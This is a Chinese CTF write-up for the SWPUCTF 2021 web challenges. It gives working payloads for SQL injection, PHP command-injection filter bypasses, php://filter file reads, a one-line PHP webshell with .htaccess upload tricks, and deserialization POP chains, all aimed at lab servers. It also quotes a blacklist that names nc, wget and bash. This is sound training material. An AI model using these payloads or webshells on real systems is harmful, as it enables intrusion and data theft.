SWPUCTF_2021新生赛web方向wp
做题平台:nssctf
gift_F12 打开题目后,查看源代码就有flag
jicao 题目:
1 2 3 4 5 6 7 8 <?php highlight_file ('index.php' );include ("flag.php" );$id =$_POST ['id' ];$json =json_decode ($_GET ['json' ],true );if ($id =="wllmNB" &&$json ['x' ]=="wllm" ){echo $flag ;} ?>
根据代码中的逻辑,如果POST请求的id
参数是wllmNB
,并且以GET请求的json参数的x的值是wllm
的时候输出flag,所以用hackbar修改
easy_md5 题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php highlight_file (__FILE__ ); include 'flag2.php' ; if (isset ($_GET ['name' ]) && isset ($_POST ['password' ])){ $name = $_GET ['name' ]; $password = $_POST ['password' ]; if ($name != $password && md5 ($name ) == md5 ($password )){ echo $flag ; } else { echo "wrong!" ; } } else { echo 'wrong!' ; } ?> wrong!
这里用GET请求接受name
,POST请求接受password
,如果这两个的值不一样,但是md5一样,就输出flag。 在php中,数据如果以0e
开头会被视为是科学计数法,而且是0 * 10 n = 0, 所以只要是md5值以0e开头就会被当作md5相等 ,这里给出几个常见的md5开头是0e的字符串。有的题目还会多一层限制,比如一个是纯数字等。
1 2 3 4 md5 ('240610708' ) = 0 e462097431906509019562988736854 md5 ('QNKCDZO' ) = 0 e830400451993494058024219903391 md5 ('aabg7XSs' ) = 0 e087386482136013740957780965295md5 ('aabC9RqS' ) = 0 e260421314791580664869894734725
用hackbar上传,得到flag
include 题目:
先在url中输入?file=1
, 得到源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php ini_set ("allow_url_include" ,"on" );header ("Content-type: text/html; charset=utf-8" );error_reporting (0 );$file =$_GET ['file' ];if (isset ($file )){ show_source (__FILE__ ); echo 'flag 在flag.php中' ; }else { echo "传入一个file试试" ; } echo "</br>" ;echo "</br>" ;echo "</br>" ;echo "</br>" ;echo "</br>" ;include_once ($file );?> flag 在flag.php中
这里因为用了include_once这个函数 include_once会尝试包含 $file 参数指定的文件。include_once 的作用是确保同一个文件在执行过程中只被包含一次 我们利用php伪协议读取文件php://filter/convert.base64-encode/source=flag.php
这里是指定要应用的过滤器filter是base64,将文件通过base64转换之后输出,这样子可以让php不被解析执行,在有些时候也会绕过某些限制。这个经常用到需要熟记。 其他的一些php伪协议:
1 2 3 4 5 6 7 8 9 1)file : 2)http: 3)ftp: 4) php: 5) zlib: 6) data: 7) glob : 8) phar: 9) rar:
本题payload:?file=php://filter/convert.base64-encode/source=flag.php
再用一个base64解码就可以(可以用hackbar,也可以随便找个解密网站)
easy_sql 封面是一张杰哥hhhh,然后提示输入点东西,这个标签页的标题提醒参数是wllm
先试试有没有错误回显,发现是有的
1 2 3 http://node4.anna.nssctf.cn:28899/?wllm=-1' You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''-1'' LIMIT 0,1' at line 1
这里我直接输入?wllm=1' or 1=1 order by 1#
还是这个错误提醒,这是是因为用#这个注释符在这题不适用 在本题中用的注释是--+
sql中的注释符:--
单行注释符 , 后面要加空格 #
mysql注释符,只在mysql中 /**/
多行注释符 这里在--
后面用+
是因为这里空格在url中会被url编码,所以用+
代替空格
查字段
1 2 3 4 5 6 7 ?wllm =1' or 1 =1 order by 2 --+ Your Login name:xxx Your Password:yyy ?wllm =1' or 1 =1 order by 4 --+ Unknown column '4' in 'order clause'
说明一共有三个字段 2. 查回显
1 2 3 ?wllm=-1 ' union select 1 ,2 ,3 Your Login name:2 Your Password:3
说明name在第二列 , password在第三列 3. 爆库
1 2 3 ?wllm=-1' union select 1 ,database (),3 --+ Your Login name:test_db Your Password :3
得到数据库名test_db
4. 爆表
1 2 3 4 ?wllm=-1 ' union select 1 ,group_concat(table_name),3 from information_schema.tables where table_schema=database(); --+ Your Login name:test_tb,users Your Password:3
得到表名users
test_tb
group_concat
是一个 MySQL 内置的聚合函数,它将查询结果中的多个值连接成一个字符串。table_name
是 information_schema.tables
表中的列,存储了所有表的名字。table_schema
:表示数据库的名称,即该表属于哪个数据库 5. 爆字段
1 2 3 4 5 6 7 ?wllm=-1 ' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=' users'; --+ Your Login name:USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password Your Password:3 ?wllm=-1' union select 1 ,group_concat(column_name ),3 from information_schema.columns where table_name ='test_tb' ; Your Login name :id,flag Your Password :3
在test_tb
这个数据表里面有flag字段,所以用这个数据表
1 2 3 ?wllm=-1 ' union select 1,group_concat(flag),3 from test_db.test_tb; --+ Your Login name:NSSCTF{77d82ad5-3 a97-47 f0-9 c23-a4a92bc9d6f7} Your Password:3
这里最后知道是什么数据库什么表就写from $database.$table
就可以了
easyrce 题目:
1 2 3 4 5 6 7 8 <?php error_reporting (0 );highlight_file (__FILE__ );if (isset ($_GET ['url' ])){ eval ($_GET ['url' ]);} ?>
php中这个eval函数会执行括号中的东西,这里就是执行用GET请求得到的url
参数 所以先看看有什么文件,
这里system函数代表执行系统的指令,这里需要了解一些基础的linux指令 直接用ls看当前目录的文件发现没有flag,说明在其他目录下,所以看看根目录
1 2 3 4 ?url=system ("ls%20/" ); bin boot dev etc flllllaaaaaaggggggg home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var ?url=system ("cat%20/flllllaaaaaaggggggg" ); NSSCTF{120b1080 -93f5-4de0-a68a-2b4748941b4b}
一些常用的系统指令执行函数:
1 2 3 4 5 6 7 system () passthru () exec () shell_exec () popen () proc_open () pcntl_exec ()
caidao 题目给了一张图片,显示的是标准的一句话木马 这里的后门就是wllm,题目中的caidao指的就是中国菜刀,用蚁剑打开 添加数据,密码是wllm 打开之后在根目录找到flag
Do_you_know_http 题目 :
1 Please use 'WLLM' browser!
看着题目的意思应该是要修改http的请求头 用burpsuite打开,这个是一个专门用来抓包的工具 抓到包之后发送到重放模块,因为提示是browser
所以修改User-Agent: WLLM
返回结果
1 2 3 4 5 6 7 8 9 10 HTTP/1.1 302 FoundDate : Fri, 14 Feb 2025 03:07:56 GMTServer : Apache/2.4.25 (Debian)X-Powered-By : PHP/5.6.40Location : ./a.phpContent-Length : 7Connection : closeContent-Type : text/html; charset=UTF-8success
这里的Location变了,我们就去这个a.php中 出现
1 2 You can only read this at local ! Your address112.49 .145 .11
所以我们要添加一个X-Forwarded-For
参数 X-Forwarded-For(XFF)是一个HTTP请求头字段,通常用于标识客户端的真实IP地址,即使请求经过了多个代理或负载均衡服务器。 抓到这个a.php的包,然后加上这个参数,值用本地的127.0.0.1
这里我用bp发这个包还是没有给我跳转 所以用hackbar试试,hackbar可以直接跳转
babyrce 题目
1 2 3 4 5 6 7 8 9 10 11 <?php error_reporting (0 );header ("Content-Type:text/html;charset=utf-8" );highlight_file (__FILE__ );if ($_COOKIE ['admin' ]==1 ) { include "../next.php" ; } else echo "小饼干最好吃啦!" ; ?> 小饼干最好吃啦!
所以把COOKIE中的admin
值改成1 hackbar中修改请求头,出现rasalghul.php
访问这个php之后又给出另一个源代码
1 2 3 4 5 6 7 8 9 10 11 12 <?php error_reporting (0 );highlight_file (__FILE__ );error_reporting (0 );if (isset ($_GET ['url' ])) { $ip =$_GET ['url' ]; if (preg_match ("/ /" , $ip )){ die ('nonono' ); } $a = shell_exec ($ip ); echo $a ; }
这里就是过滤了空格,然后执行url参数的命令 我们可以用${IFS}绕过 $IFS(Internal Field Separator)是 Bash 里的内部字段分隔符,默认是空格。
1 2 3 4 5 ?url =ls${IFS}/ bin boot dev etc flllllaaaaaaggggggg home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var ?url =cat${IFS}/flllllaaaaaaggggggg NSSCTF{02db5dc7-82af-4e14-801c-9262db2b51f6}
ez_unserialize 没有直接给出题目,查看源码也没有信息,所以我去扫一下目录,dirsearch工具可以去我kali工具笔记blog查看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 ┌──(root㉿kakeru)-[~/ tmp] └─ / usr/ lib/ python3/ dist-packages/ dirsearch/ dirsearch.py:23 : DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict _|. _ _ _ _ _ _|_ v0.4.3 (_|| | _) (/ _(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460 Output File: /root/tmp/reports/http_node4.anna.nssctf.cn_28921/__25-02-14_12-18-25.txt Target: http:// node4.anna.nssctf.cn:28921 / [12 :18 :25 ] Starting: [12 :18 :31 ] 403 - 309 B - /.ht_wsr.txt [12 :18 :31 ] 403 - 312 B - /.htaccess.bak1 [12 :18 :31 ] 403 - 314 B - /.htaccess.sample [12 :18 :31 ] 403 - 312 B - /.htaccess.orig [12 :18 :31 ] 403 - 312 B - /.htaccess.save [12 :18 :31 ] 403 - 313 B - /.htaccess_extra [12 :18 :31 ] 403 - 310 B - /.htaccess_sc [12 :18 :31 ] 403 - 310 B - /.htaccessOLD [12 :18 :31 ] 403 - 312 B - /.htaccess_orig [12 :18 :31 ] 403 - 310 B - /.htaccessBAK [12 :18 :31 ] 403 - 311 B - /.htaccessOLD2 [12 :18 :31 ] 403 - 302 B - /.htm [12 :18 :31 ] 403 - 303 B - /.html [12 :18 :31 ] 403 - 312 B - /.htpasswd_test [12 :18 :31 ] 403 - 309 B - /.httr-oauth [12 :18 :31 ] 403 - 308 B - /.htpasswds [12 :18 :45 ] 200 - 0 B - /flag.php [12 :18 :54 ] 200 - 35 B - /robots.txt [12 :18 :55 ] 403 - 312 B - / server-status/ [12 :18 :55 ] 403 - 311 B - /server-status Task Completed
flag.php
中没有东西,去robots.txt中看看,发现又给了一个文件
1 2 3 4 ┌──(root㉿kakeru)-[~/tmp] └─# curl http://node4.anna.nssctf.cn:28921/robots.txt User-agent: * Disallow: /cl45s.php
访问得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php error_reporting (0 );show_source ("cl45s.php" );class wllm { public $admin ; public $passwd ; public function __construct ( ) { $this ->admin ="user" ; $this ->passwd = "123456" ; } public function __destruct ( ) { if ($this ->admin === "admin" && $this ->passwd === "ctf" ){ include ("flag.php" ); echo $flag ; }else { echo $this ->admin; echo $this ->passwd; echo "Just a bit more!" ; } } } $p = $_GET ['p' ];unserialize ($p );?>
考查的是php反序列化,这里通过GET请求接受p参数,然后将p反序列化序列化:在php在对象是一个类的实例化,在为对象赋值后,为了将数据完整的保存起来,php提供了一个函数serialize() ,他会将对象变成一种特殊的字符串
根据代码,我们就是要让$this->admin === “admin” && $this->passwd === “ctf” 本地创建php代码,然后得到按照要求得出一个符合要求的序列化之后的字符串,然后用p参数传入,让他反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php class wllm { public $admin ; public $passwd ; public function __construct ( ) { $this ->admin ="user" ; $this ->passwd = "123456" ; } } $a = new wllm (); $a -> admin = "admin" ; $a -> passwd = "ctf" ;echo serialize ($a );?> O:4 :"wllm" :2 :{s:5 :"admin" ;s:5 :"admin" ;s:6 :"passwd" ;s:3 :"ctf" ;}
拿到flag
1 2 ?p =O: 4 :"wllm" : 2 : {s: 5 :"admin" ;s: 5 :"admin" ;s: 6 :"passwd" ;s: 3 :"ctf" ;}NSSCTF {53d996d2-26ff-4708 -b963-b1021be87229}
easyupload1.0 如果我随便上传一张照片会显示图片太大 如果我直接上传一个php又会提示想啥呢
但是这里只是在前端做了验证,我把这个php文件后缀改成.jpg就成功上传了 php中是一句话木马
1 2 3 4 5 <?php @eval ($_POST ['a' ]); ?> ./upload/1 .jpg succesfully uploaded!
但是这样还不能直接利用,因为我们的一句话木马是php文件,需要用bp抓包然后改后缀名 只要改后缀名,Content-Type不要改 但是在蚁剑中找到的flag.php中的flag不是真的flag(格式不对 所以我们在蚁剑的终端中输入php -i
显示php的信息(效果和phpinfo()一样) 在environment中找到flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 Environment Variable => ValuePHP_UPLOAD_MAX_FILESIZE SUPERVISOR_GROUP_NAME HOSTNAME SHLVL OLDPWD /app/ APACHE_RUN_DIR /var//apache2 APACHE_PID_FILE => //run//apache2.pid PHP_POST_MAX_SIZE => 10 M PATH => //local//usr//bin://sbin://bin://bin://local//usr//bin://sbin://bin://bin APACHE_LOCK_DIR => //lock/ LANG SUPERVISOR_ENABLED DEBIAN_FRONTEND APACHE_RUN_USER APACHE_RUN_GROUP APACHE_LOG_DIR /var//apache2 SUPERVISOR_SERVER_URL => unix: SUPERVISOR_PROCESS_NAME => apache2 PWD => //www//upload FLAG => NSSCTF{efc6307a-ada5-4 ef6-bd9e-4 eb12544051b}
这题还是有点搞了,给了一个假的flag。。 主要是要懂抓包改后缀上传一句话木马,如果不用蚁剑也可以用hackbar用POST请求传入,让a = phpinfo();
也可以找到flag,不过第一感觉还是去蚁剑里面的目录找吧
easyupload2.0 这题题面和上一题一样,但是他在后端做了校验,如果还是用bp修改后缀会显示php是不行滴 这里要了解一个知识点:php3,php5,pht,phtml,phps 都是 php 可运行的文件扩展名 所以我们尝试改成其他的后缀名试试,成功上传,然后和上题一样用蚁剑连接找到flag(真flag)
no_wakeup 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php header ("Content-type:text/html;charset=utf-8" );error_reporting (0 );show_source ("class.php" );class HaHaHa { public $admin ; public $passwd ; public function __construct ( ) { $this ->admin ="user" ; $this ->passwd = "123456" ; } public function __wakeup ( ) { $this ->passwd = sha1 ($this ->passwd); } public function __destruct ( ) { if ($this ->admin === "admin" && $this ->passwd === "wllm" ){ include ("flag.php" ); echo $flag ; }else { echo $this ->passwd; echo "No wake up" ; } } } $Letmeseesee = $_GET ['p' ];unserialize ($Letmeseesee );?>
和前面那题easy serialize一样,本地写个php代码生成满足条件的序列化字符串然后用GET上传 但是这里有一个__wakeup()魔法函数,当对象被反序列化时,__wakeup() 方法会被自动调用。 这里的$this -> passwd会被sha1加密。但是sha1加密不可逆,我们不想让wakeup这个函数执行。当序列化后对象的参数列表中成员个数和实际个数不符合时会绕过 __weakup (); 利用代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php class HaHaHa { public $admin ; public $passwd ; public function __construct ( ) { $this ->admin ="user" ; $this ->passwd = "123456" ; } public function __wakeup ( ) { $this ->passwd = sha1 ($this ->passwd); } } $a = new HaHaHa ();$a -> admin = "admin" ;$a -> passwd = "wllm" ;echo serialize ($a );?> O:6 :"HaHaHa" :2 :{s:5 :"admin" ;s:5 :"admin" ;s:6 :"passwd" ;s:4 :"wllm" ;}
然后我们把参数个数2
改成和实际不符,比如1,用GET传入,得到flag
1 ?p =O: 6 :"HaHaHa" : 1 : {s: 5 :"admin" ;s: 5 :"admin" ;s: 6 :"passwd" ;s: 4 :"wllm" ;}
PseudoProtocols 题目 看到题目我们获得两个信息,1. 要找到hint.php 2.url里面自带了?wllm= 题目是PseudoProtocols
(伪协议),我们用php伪协议读一下hint.php
1 2 3 4 5 6 7 8 ?wllm=php: PD9waHANCi8vZ28gdG8gL3Rlc3QyMjIyMjIyMjIyMjIyLnBocA0KPz4= ┌──(root㉿kakeru)-[~/tmp] └─ <?php ?>
所以去读/test2222222222222.php 这里要用get请求传入参数a,然后判断a的值是不是”I want flag” 这里了解一下,file_get_contents()
是 PHP 读取文件内容的函数,data:// 伪协议允许在 URL 直接存储数据,而不需要实际文件,php://input
执行 POST 数据中的 php 代码。 所以这题利用data伪协议或者php://input存储数据,然后程序读取判断 php://input data://
1 http://n ode7.anna.nssctf.cn:22738 //test2222222222222.php?a=data:// text/plain,I%2 0want%20flag
hardrce 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php header ("Content-Type:text/html;charset=utf-8" );error_reporting (0 );highlight_file (__FILE__ );if (isset ($_GET ['wllm' ])){ $wllm = $_GET ['wllm' ]; $blacklist = [' ' ,'\t' ,'\r' ,'\n' ,'\+' ,'\[' ,'\^' ,'\]' ,'\"' ,'\-' ,'\$' ,'\*' ,'\?' ,'\<' ,'\>' ,'\=' ,'\`' ,]; foreach ($blacklist as $blackitem ) { if (preg_match ('/' . $blackitem . '/m' , $wllm )) { die ("LTLT说不能用这些奇奇怪怪的符号哦!" ); }} if (preg_match ('/[a-zA-Z]/is' ,$wllm )){ die ("Ra's Al Ghul说不能用字母哦!" ); } echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?" ;eval ($wllm );} else { echo "蔡总说:注意审题!!!" ; } ?> 蔡总说:注意审题!!!
这里字母和一堆符号都被过滤了,索面只能用数字,而/
~
也没有过滤,所以我们考虑用url编码,然后url编码取反,取反之后的字符基本都是不可见字符,所以可以绕过字母 url在字符前加~
就是取反
1 2 3 <?php echo var_dump (urlencode (~'system' ));?>
得到~`system=%8C%86%8C%8B%9A%92 ~
ls /`=%93%8C%DF%D0 然后在url传入参数的时候,再取反回去就可以了(记得加分号)
~ cat fl*
=%9C%9E%8B%DF%D0%99%93%D5 然后继续取反执行就得到flag
ez_ez_php 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php error_reporting (0 );if (isset ($_GET ['file' ])) { if ( substr ($_GET ["file" ], 0 , 3 ) === "php" ) { echo "Nice!!!" ; include ($_GET ["file" ]); } else { echo "Hacker!!" ; } }else { highlight_file (__FILE__ ); }
这个表示file参数如果前三个是php就包含这个文件 所以用php伪协议查看文件
1 2 3 4 5 6 7 8 http://node5.anna.nssctf.cn:29953/?file=php://filter/read=convert.base64-encode/resource=flag Nice!!!TlNTQ1RGe2NjZjg2ODBlLWViZGItNGIxZC1iNzFjLTY2ZDYxNjI5YjhhMH0K ┌──(root㉿kakeru)-[~/tmp] └─# echo TlNTQ1RGe2NjZjg2ODBlLWViZGItNGIxZC1iNzFjLTY2ZDYxNjI5YjhhMH0K | base64 -d NSSCTF{ccf8680e-ebdb-4b1d-b71c-66d61629b8a0}
easyupload3.0 题目和之前的upload,也是 传一个一句话木马的php改成的1.jpg 但是改包后缀改成php这里就不行了,但是可以发现这个是一个apache的服务 这里学习了要上传.htaccess
文件 .htaccess 是一个纯文本文件,它里面存放着 Apache 服务器配置相关的指令。 .htaccess 主要的作用有:URL 重写、自定义错误页面、MIME 类型配置以及访问权限控制等。主要体现在伪静态的应用、图片防盗链、自定义 404 错误页面、阻止 / 允许特定 IP/IP 段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等。 .htaccess 的用途范围主要针对当前目录。 然后写一个.htaccess文件
1 2 3 <FilesMatch "\.jpg$" > SetHandler application/x-httpd-php </FilesMatch>
上传这个文件之后,这个目录下的jpg文件就会被解析成php文件 因为我们刚才已经上传了一句话木马的jpg,现在用蚁剑连接就能找到flag
error 输入一个值之后会跳转到http://node7.anna.nssctf.cn:28229/index.php?id=-1
而且有回显
1 2 3 4 id:1' You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
这里通过报错信息,判断为字符型注入 然后尝试--+
和#
得出这里用的注释符是#
1.判断列数
1 2 3 4 5 6 7 8 9 id:1 ' order by 3 没有提示........... id:1 ' order by 4 Unknown column '4 ' in 'order clause '
2.爆库名 这里要根据报错信息来的出库名,学习一个知识点:extractvalue (1,concat (0x7e,database ()))
EXTRACTVALUE() 是 MySQL 的一个 XML 处理函数,它用于从 XML 数据中提取特定的值.但如果传入 非 XML 结构 的 XPath,会报错,并在错误信息中泄露数据.CONCAT() 用于拼接字符串。0x7e 是 十六进制的 ~(波浪号)
1 2 3 4 id :1 ' union select 1 ,2 ,extractvalue(1 ,concat(0 x7e,database()))#XPATH syntax error: '~test_db'
得到库名test_db。 2.爆表 只要让报错信息里面爆出表名就可以
1 2 3 4 5 6 7 8 9 -1 ’ and 1 =extractvalue(1 ,concat(0x7e ,(select group_concat (table_name ) from information_schema.tables where table_schema =database())))# 或 id:-1' union select 1 ,2 ,extractvalue(1 ,concat(0x7e ,(select group_concat (table_name ) from information_schema.tables where table_schema =database())))# XPATH syntax error: '~test_tb,users'
得到表名test_tb,users 3.爆列名
1 2 3 -1' union select 1 ,2 ,extractvalue(1 ,concat(0x7e ,(select group_concat (column_name ) from information_schema.columns where table_name ='test_tb' )))# XPATH syntax error: '~id,flag'
4.查flag
1 2 3 4 id :-1 ' union select 1 ,2 ,extractvalue(0 x7e,(select group_concat(flag) from test_tb)) #XPATH syntax error: '{ace8876e-87 f9-4526 -862 a-ff5d963'
但是这里默认只返回了32个字符,我们用substring得到完整
1 2 3 4 5 6 7 -1 ' union select 1 ,2 ,extractvalue (0x7e ,(select substring (group_concat (flag),25 ,32 ) from test_tb)) # id:-1 ' union select 1 ,2 ,extractvalue (0x7e ,(select substring (group_concat (flag),25 ,32 ) from test_tb)) # XPATH syntax error : 'a-ff5d9638a322}'
可以拼接出完整flagNSSCTF{ace8876e-87f9-4526-862a-ff5d9638a322}
这题可以学习判断注入类型,报错如何注入,extractvalue函数,substring绕过输出限制
pop 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php error_reporting (0 );show_source ("index.php" );class w44m { private $admin = 'aaa' ; protected $passwd = '123456' ; public function Getflag ( ) { if ($this ->admin === 'w44m' && $this ->passwd ==='08067' ){ include ('flag.php' ); echo $flag ; }else { echo $this ->admin; echo $this ->passwd; echo 'nono' ; } } } class w22m { public $w00m ; public function __destruct ( ) { echo $this ->w00m; } } class w33m { public $w00m ; public $w22m ; public function __toString ( ) { $this ->w00m->{$this ->w22m}(); return 0 ; } } $w00m = $_GET ['w00m' ];unserialize ($w00m );?>
这题考查的是反序列化链 这里并没有直接执行w44m中的内容,并且这里的admin 和 passwd 是内部的,不能被更改,需要借助w22m 和 w33m来执行w44m中的Getflag这个函数 首先w22m是入口,这里执行destruct 接着跳到w33m因为w00m 被echo了,就是被当作字符串使用 所以会调用toString
1 # w22m .__destruct().w00m->w33m .__toString().w00m-> w44m.Getflag()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php class w44m{ private $admin = 'w44m' ; protected $passwd = '08067' ; } class w22m{ public $w00m; } class w33m{ public $w00m; public $w22m; } $a = new w22m(); $b = new w33m(); $c = new w44m(); $a -> w00m = $b; $b -> w00m = $c; $b -> w22m = 'Getflag' ; echo urlencode(serialize($a)); ?> O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D
这里先新建三个类,$a传入$b,表示执行destruct的时候就执行$b类里面的内容, 然后$b->w00m=$c 表示先调用$c类中的内容,让他执行Getflag 这个函数 这题里面最后要用urlencode
finalrce 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php highlight_file (__FILE__ );if (isset ($_GET ['url' ])){ $url =$_GET ['url' ]; if (preg_match ('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i' ,$url )) { echo "Sorry,you can't use this." ; } else { echo "Can you see anything?" ; exec ($url ); } }
这里就是考查怎么绕过了 但是这里判断的条件还是比较松 在linux中命令中间有分隔符也可以照样执行命令比如l''s l/s
,还需要知道tee
,这个指令会从标准输入读取数据,并将其同时输出到标准输出和一个或多个文件中 poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 ?url=l''s / | tee 1. txt a_here_is_a_f1ag bin boot dev etc flllllaaaaaaggggggg home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
除了直接用cat加上中间拼接单引号的方式,还有很多方式可以读flag,比如tac
或者nl
1 2 3 http ://node4.anna.nssctf.cn:28754 /?url=tac%20 /a_here_is_a_f1ag%20 |%20 tee%202 .txttrue_flag_1s_1n_flllllaaaaaaggggggg
但是la也被过滤了,所以需要在la中间加上/或者上面的那些过滤符号
1 2 3 4 http://node4.anna.nssctf.cn:28754 /?url=tac%20 /flllll\aaaaaaggggggg%20 |tee%203. txt http://node4.anna.nssctf.cn:28754 /3. txt NSSCTF{bce2e219-42b3 -45a2-b6f6-529ead4e2a20}
sql 题目
1 2 Want Me? Cross the Waf 球球你输入点东西吧!
这里应该是要考查sql注入的绕过
直接输入?wllm=1 没有报错 ?wllm=1’ 报错 经过测试#
是注释符,--+
会报错,而且--
不报错,说明+ 也就是空格被过滤了 空格可以用/**/
代替,剩下的步骤就和之前做的sql注入题目一样了 #
用url编码的%23代替 1.测字段数
1 2 ?wllm=1 %27 order by 3 %23 ?wllm=1 %27 order by 4 %23
测到4的时候报错,说明有三列 2.爆库
1 2 3 ?wllm=-1 %27 union select 1 ,2 ,database ()%23 Your Login name :2 Your Password :test_db
3.爆表
1 ?wllm=-1 %27 union select 1 ,2 ,group_concat(table_name )from information.schema .tables where table_schema=database ()%23
这样子直接报错了,说明=
被过滤了,可以用like绕过
1 2 3 /?wllm=-1 %27 union select 1 ,2 ,group_concat(table_name )from information_schema.tables where table_schemalike 'test_db' %23 Your Login name :2 Your Password :LTLT_flag,users
4.爆字段
1 2 3 /?wllm=-1 %27 union select 1 ,2 ,group_concat(column_name )from information_schema.columns where table_name like %27 LTLT_flag%27 %23 Your Login name :2 Your Password :id,flag
5.爆值
1 2 3 4 ?wllm=-1 %27unionselect 1 ,2 ,group_concat(flag)fromtest_db.LTLT_flag%23 NSSCTF{68487 a7b-abb8
这里读取的时候读取不全,但是substr被过滤了,要用mid
1 MID 函数是 SQL 中用来从一个字符串中提取子字符串的函数。它通常用于获取某个位置开始的子串,或者在特定长度的范围内提取字符。
1 2 3 4 5 6 7 ?wllm=-1 %27 union select1 ,2 ,mid (group_concat(flag),20 ,20 )from test_db.LTLT_flag%23 8 -4 f86-8 ac0-4440e1 d0?wllm=-1 %27 union select1 ,2 ,mid (group_concat(flag),40 ,20 )from test_db.LTLT_flag%23 b59d}